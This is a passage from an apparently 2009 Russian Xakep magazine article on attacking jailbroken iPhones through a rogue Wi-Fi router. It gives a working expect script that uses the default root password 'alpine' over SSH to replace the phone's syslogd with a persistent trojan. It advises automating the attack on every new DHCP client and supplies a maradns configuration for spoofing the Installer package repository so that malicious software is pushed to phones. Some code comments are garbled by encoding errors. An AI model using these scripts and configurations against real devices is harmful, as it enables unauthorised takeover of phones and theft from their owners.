ЛУЧШИХ ВИРУСОВ - Xakep Online

взлом
Динамо-машина для зарядки ноутбука. Крути педали, пока не дали…
поставить компилятор на сам роутер. Устанавливаем все
необходимое:
ipkg install buildroot
ipkg install make
ipkg install tcl
ipkg install scponly
ipkg install openssh-client
Сразу отредактируем /etc/ssh/ssh_config, добавив
строчку «StrictHostKeyChecking no», чтобы SSH-клиент
не выдавал сообщение о принятии новых сессионных
ключей для каждой жертвы. Затем скачиваем исходники
expect отсюда: http://expect.nist.gov/expect.tar.gz.
Распаковываем и собираем, как обычно: ./configure,
make, make install. Может потребоваться установить
переменную окружения: «setenv TCL_LIBRARY /usr/
bin/tcl8.4.19/Library». Теперь напишем скрипт, который
будет пытаться подключиться к телефону с дефолтной
связкой логин-пароль. Получится что-нибудь наподобие
этого:
#!/usr/bin/expect
spawn scp /www/iphone-trojan root@10.0.0.2:/
usr/sbin/syslogd
expect assword {send alpine\r}
spawn ssh root@10.0.0.2
expect assword {send alpine\r}
send “ldid –S /usr/sbin/syslogd\r”
send “exit\r”
expect eof
В случае успеха демон системных логов на захваченном
телефоне заменится нашей программой iphone-trojan, которая
будет выполняться при каждом рестарте системы. Что
это будет за программа, мы рассмотрим ниже. Предлагаю в
качестве самостоятельного упражнения связать логи dhcpсервера
с выполнением этого скрипта так, чтобы атака
осуществлялась на каждый новый выданный IP. Можешь
также установить nmap и перед запуском проверять, что
подцепился именно iPhone.
XÀÊÅÐ 04 /124/ 09
Делается это командой nmap –O2 10.0.0.Х. Стоит отметить,
что сканирование nmap’ом занимает приличное
время, поэтому куда выгоднее просто пытаться атаковать
сразу после подключения клиента. Тут уж решай сам.
ДЕЛАЙ ТРИ. ЛОЖНЫЙ РЕПОЗИТОРИЙ INSTALLER
Эта атака была описана в моей предыдущей статье. Если
вкратце, — суть заключается в подмене DNS-адреса
репозитория менеджера пакетов Installer. Менеджер устанавливается
на все джеилбрейкнутые телефоны, коих, по
некоторым оценкам, > 50% среди всех iPhone в нашей стране.
Выглядит это так: пользователь подключается к нашему
терминатору, открывает Installer и устанавливает обновление
самого менеджера пакетов. Но вместе с оригинальной
программой на телефон заливается любая другая.
Приступим к настройке. Устанавливаем DNS-сервер:
#~ipkg install maradns
Меняем настоящий IP сервера с репозиторием i.ripdev.com
на наш. Для этого редактируем /etc/mararc и /etc/marands/
ripdev.com:
/etc/mararc:
ipv4_bind_addresses = "127.0.0.1, 10.0.0.1"
chroot_dir = "/etc/maradns" //ìåñòî, ãäå áóäóò
ëåæàòü êîíôèãè çîí, ìîæíî âûáðàòü, íàïðèìåð,
òî÷êó ìîíòèðîâàíèÿ ôëåøêè…
recursive_acl = "127.0.0.1/8, 10.0.0.0/24" //
ðàçðåøàåì ðåêóðñèâíûå çàïðîñû
zone_transfer_acl = "127.0.0.1/8,
10.0.0.0/24" //ðàçðåøàåì ïåðåñûëêó çîí
timeout_seconds = 2
csv1 = {}
csv1["ripdev.com."] = "ripdev.com"
dns_port = 53
maximum_cache_elements = 1024
min_ttl_cname = 900
/etc/maradns/ripdev.com:
dvd
На диске ты найдешь
исходники программы
для отправки SMS.
067